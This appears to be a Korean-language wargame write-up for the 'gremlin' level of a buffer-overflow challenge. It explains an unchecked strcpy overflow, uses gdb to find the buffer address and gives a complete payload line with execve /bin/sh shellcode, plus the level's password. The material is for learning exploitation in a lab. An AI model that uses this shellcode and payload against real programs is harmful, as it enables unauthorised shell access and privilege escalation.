Level 1 로그인 후 ls -al
로 파일 목록 확인
nl gremlin.c
로 문제 소스코드 확인
nl
쓰면 줄 번호까지 알려주기 때문에 사람에 따라 cat
보다 보기 편할 수 있음
argv error
를 출력하고 프로그램을 종료.strycpy(buffer, argv[1]);
사용자로부터 받은 첫번째 인자인 argv[1]을 buffer에 복사
strcpy
함수는 복사받을 대상의 크기와 상관없이 무조건 복사를 해주기 때문에, 256바이트보다 큰 데이터를 입력하면 bof가 발생할 것 같다.
argc(argument count)는 인자의 개수를 세는 변수니까,
답을 입력하려면 ./gremlin (payload)
형태로 입력하면 될 것 같다.
-> 왜 그 형태로 입력함?
https://m.blog.naver.com/sharonichoya/220501242693 (argc, argv 정리)
스택 확인을 위한 gdb 실행
현재 gremlin의 스택 구조는 이러함을 알 수 있다.
buffer(256바이트) + base pointer(4바이트) = 260바이트 니까
shellcode[25] + dummy[235] + buffer address[4]로 오버플로우를 일으키면 될 것 같다.
+) Shellcode ?
-> 관리자의 권한을 탈취하는것 = shell을 얻는것 -> 취약한 프로그램에 대해 쉘을 얻도록 공격자가 실행시키는 코드
구글에서 25바이트 쉘코드를 긁어옴
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
이제 buffer address만 구해주면 된다.
strcpy 이후인 main+59에 breakpoint 걸어주기
이후 buffer에 넣을 내용을 인자로 넣어 실행시켜줌.
buffer의 시작주소가 궁금한거라서 A 256개 때워넣기
+) 맞게 쉘코드 넣었다고 생각했는데 한 5번은 segment fault 떠가지고 답답해서 구글링 했더니
기본으로 되어있는 bash 쉘을 bash2로 바꿔주어야 한다.
bash에서는 /xff를 null로 처리해버린다고 한다.
buffer 주소를 찾기 위해 payload를 넣어보는데 자꾸 'Operation not permitted'가 뜬다
그럴땐 파일을 복사하고 복사한 파일으로 gdb를 실행해주면
정상 실행 된다.
x/24x $esp
라는 명령어를 이용해 breakpoint의 esp 기준 레지스터 상태를 확인한다.
($esp를 기준으로 x(hex값으로)/24x(24word)안에있는 내용들 보여달란 뜻)
레지스터 분석을 해보면, 0x41이 0xbffff920의 세 번째 블록부터 시작하기 때문에, buffer의 시작주소는 0xbffff920 + 0x8 = 0xbffff928이다.
./gremlincp `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "A"*235 + "\x28\xf9\xff\xbf"'`
bash$ my-pass
hello bof world